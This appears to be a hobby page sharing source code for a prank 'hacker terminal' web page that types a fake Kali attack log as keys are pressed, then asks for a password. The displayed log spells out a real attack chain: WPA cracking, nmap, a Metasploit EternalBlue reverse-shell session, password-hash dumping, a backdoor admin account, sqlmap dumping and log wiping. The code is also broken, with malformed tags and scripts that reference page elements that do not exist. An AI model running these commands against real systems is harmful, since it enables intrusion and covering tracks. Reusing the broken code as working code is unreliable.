Source Code for Hacker Terminal

copy code from here

 <DOCTYPE html>
 <html lang="en">

 <head>
      <meta charset="UTF-8">
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <title>SYSTEM_ROOT_ACCESS</title>
      <link rel="stylesheet" href="style.css">
      <script src="https://cdn.jsdelivr.net/npm/canvas-confetti@1.6.0/dist/confetti.browser.min.js"><script> 
</head>

<body>
    <div id="terminal">
        <div id="output"><div>
        <div id="cursor"><div>
    </div>

    <div id="overlay">
        <h1
           id="alert-text">PASSWORD CRACKED</h1>
           <div
              id="password-section">
              <p>--------------------|-------------------</p>
              <ENTER SECURITY CODE:>
              <input type="password" id="pass-input" autocomplete="off">
            </div>
         </div>    
         
        <div id="start-screen">
        <button
        id="start-btn">INITIALIZE SYSTEM BOOT</button>
       </div>  

       <script src="script.js"><script>
       </body>
       </html>


  
style.css

    body, html {
    background-color: #000;
    color: #00ff41;
    font-family: 'Courier New', Courier, monospace;
    margin: 0;
    height: auto;
    min-height: 100%;
    overflow-x: hidden;
    overflow-y: auto;
}

#terminal {
    padding: 20px;
    font-size: 1.2rem;
    line-height: 1.5;
    white-space: pre-wrap;
    padding-bottom: 150px;
}

#cursor {
    display: inline-block;
    animation: blink 0.7s infinite;
}

@keyframes blink {
    0%, 100% { opacity: 1; }
    50% { opacity: 0; }
}

#overlay {
    position: fixed;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    background: rgba(0, 0, 0, 0.95);
    border: 2px solid #00ff41;
    padding: 40px;
    display: none;
    text-align: center;
    z-index: 100;
    min-width: 350px;
}

#alert-text {
    font-size: 2.5rem;
    text-shadow: 0 0 10px #00ff41;
    margin: 0;
}

#password-section {
    margin-top: 20px;
}

#pass-input {
    background: transparent;
    border: none;
    border-bottom: 2px solid #00ff41;
    color: #00ff41;
    font-family: inherit;
    font-size: 1.5rem;
    text-align: center;
    outline: none;
    width: 200px;
    margin-top: 10px;
}

#start-screen {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: #000;
    display: flex;
    justify-content: center;
    align-items: center;
    z-index: 1000;
}

#start-btn {
    background: transparent;
    color: #00ff41;
    border: 2px solid #00ff41;
    padding: 20px 40px;
    font-family: inherit;
    font-size: 1.5rem;
    cursor: pointer;
    box-shadow: 0 0 15px #00ff41;
}

#start-btn:hover {
    background: #00ff41;
    color: #000;
}

  
script.js

    // 1. ALL VARIABLES AT THE TOP
const output = document.getElementById('output');
const loadingScreen = document.getElementById('loading-screen');
const progressFill = document.getElementById('progress-fill');
const percentageText = document.getElementById('percentage');
const overlay = document.getElementById('overlay');
const passInput = document.getElementById('pass-input');
const startBtn = document.getElementById('start-btn');
const startScreen = document.getElementById('start-screen');

// 2. THE KALI TEXT (Must be inside these backticks: ` `)
const hackerCode = `
[    0.000000] Linux version 6.1.0-kali7-amd64 (kali-team@kali.org)
[    0.000000] Command line: BOOT_IMAGE=/boot/vmlinuz root=UUID=7f2a-4b9e-8c3d
[    0.000000] x86/fpu: Supporting XSAVE feature 0x001: 'x87 floating point registers'
[    0.000000] x86/fpu: Supporting XSAVE feature 0x002: 'SSE registers'
[    0.000000] x86/fpu: Supporting XSAVE feature 0x004: 'AVX registers'
[    1.024512] pci 0000:00:1f.3: [8086:9d71] type 00 class 0x040300
[    2.110293] EXT4-fs (sda1): mounted filesystem with ordered data mode.
[    5.442109] wlan0: link up, 5GHz, full-duplex
[SYSTEM] INITIALIZING KALI TOOLS SUITE...
[KALI] SETTING UP MONITOR MODE ON wlan0mon...
[KALI] airodump-ng wlan0mon --bssid 00:14:6C:7E:40:80
[BSSID] 00:14:6C:7E:40:80  PWR: -42  BEACONS: 412  #DATA: 8821  CH: 6  ENC: WPA2
[HANDSHAKE] WPA HANDSHAKE CAPTURED: 00:14:6C:7E:40:80
[AIRCRACK] brute-forcing with wordlist: /usr/share/wordlists/rockyou.txt
[AIRCRACK] [12%] [24%] [48%] [62%] [88%]...
[SCAN] nmap -sS -sV -O -T4 192.168.1.104
[SCAN] Starting Nmap 7.93 ( https://nmap.org )
[SCAN] Nmap scan report for target.local (192.168.1.104)
[SCAN] PORT     STATE SERVICE      VERSION
[SCAN] 21/tcp   open  ftp          vsftpd 2.3.4
[SCAN] 22/tcp   open  ssh          OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
[SCAN] 80/tcp   open  http         Apache httpd 2.4.52
[SCAN] 443/tcp  open  ssl/http     Apache httpd 2.4.52
[SCAN] 445/tcp  open  microsoft-ds Windows 10 Pro 19041 smbd
[SCAN] 3306/tcp open  mysql        MySQL 8.0.32
[VULN] Checking vulnerabilities... CVE-2017-0144 (MS17-010) - VULNERABLE
[EXP] msfconsole -q
[MSF] use exploit/windows/smb/ms17_010_eternalblue
[MSF] set RHOSTS 192.168.1.104
[MSF] set PAYLOAD windows/x64/meterpreter/reverse_tcp
[MSF] set LHOST 192.168.1.5
[MSF] exploit
[*] Started reverse TCP handler on 192.168.1.5:4444 
[*] 192.168.1.104:445 - Connecting to target...
[+] 192.168.1.104:445 - Connected. Sending EternalBlue payload...
[*] 192.168.1.104:445 - Overwriting buffer at 0x7FFE00...
[*] 192.168.1.104:445 - Triggering exploit...
[+] 192.168.1.104:445 - Exploit successful.
[*] Sending stage (200262 bytes) to 192.168.1.104
[*] Meterpreter session 1 opened (192.168.1.5:4444 -> 192.168.1.104:49152)
meterpreter > getuid
Server username: NT AUTHORITY\\SYSTEM
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
meterpreter > shell
C:\\Windows\\system32> whoami
nt authority\\system
C:\\Windows\\system32> net user admin /add
C:\\Windows\\system32> net localgroup administrators admin /add
[SQL] sqlmap -u "http://target.local/view.php?id=1" --dbs
[SQL] fetching banner... back-end DBMS: MySQL >= 5.6
[SQL] available databases [4]: information_schema, mysql, user_db, logs
[SQL] dumping entries for table 'users'...
[SQL] user: root | pass: [DECRYPTED_HASH_MATCH]
[SQL] HASH MATCH: 23x4
[KALI] DECRYPTING SALTED HASHES...
[KALI] ATTEMPTING 1,000,000 PER SECOND...
[KALI] KEY FOUND: [REDACTED]
[SYS] CD /VAR/WWW/HTML/SECRET/
[SYS] CHMOD 777 SECRET.HTML
[LOG] WIPING ACCESS JOURNALS...
[LOG] rm -rf /var/log/auth.log
[LOG] rm -rf /var/log/syslog
[LOG] TRACES CLEARED.
[DONE] ROOT PRIVILEGES GRANTED.
# CONNECTING TO SHELL...
# _
`; 

let index = 0;
let attempts = 0;

// 3. THE INITIALIZE BUTTON (Fixes the "not seeing" issue)
startBtn.addEventListener('click', () => {
    startScreen.style.display = 'none';
    // Start the Rain effect
    startCodeRain();
    console.log("System Initialized");
});

// 4. THE TYPING LOGIC
window.addEventListener('keydown', (e) => {
    // Only type if the start screen is gone and loader/overlay are hidden
    if (startScreen.style.display === 'none' && 
        loadingScreen.style.display !== 'flex' && 
        overlay.style.display !== 'flex') {
        
        if (e.key.length === 1 || e.key === "Enter") {
            output.innerText += hackerCode.slice(index, index + 5);
            index += 5;
            window.scrollTo(0, document.body.scrollHeight);

            if (index >= hackerCode.length) {
                startLoading();
            }
        }
    }
});

// 5. THE 15-SECOND LOADING
function startLoading() {
    loadingScreen.style.display = 'flex';
    let p = 0;
    const inv = setInterval(() => {
        p++;
        progressFill.style.width = p + "%";
        percentageText.innerText = p + "%";
        if(p >= 100) {
            clearInterval(inv);
            loadingScreen.style.display = 'none';
            overlay.style.display = 'flex';
            passInput.focus();
        }
    }, 150); 
}

// 6. 
passInput.addEventListener('keydown', (e) => {
    if (e.key === "Enter") {
        if (btoa(passInput.value) === "MjN4NA==") {
            alert("ACCESS GRANTED.");
            window.location.href = "secret.html";
        } else {
            attempts++;
            if (attempts >= 2) {
                document.body.innerHTML = "

SYSTEM LOCKOUT: UNAUTHORIZED

"; } else { alert("WRONG CODE. 1 ATTEMPT LEFT."); passInput.value = ""; } } } }); // 7. THE RAIN FUNCTION function startCodeRain() { const canvas = document.getElementById('canvas-rain'); const ctx = canvas.getContext('2d'); canvas.width = 120; canvas.height = window.innerHeight; const chars = "01010101ABCDEFGHIJKLMNOPQRSTUVWXYZ"; const drops = Array(Math.floor(canvas.width/15)).fill(1); setInterval(() => { ctx.fillStyle = "rgba(0, 0, 0, 0.05)"; ctx.fillRect(0, 0, canvas.width, canvas.height); ctx.fillStyle = "#00ff41"; drops.forEach((y, i) => { const text = chars[Math.floor(Math.random()*chars.length)]; ctx.fillText(text, i*15, y*15); if(y*15 > canvas.height && Math.random() > 0.975) drops[i] = 0; drops[i]++; }); }, 33); }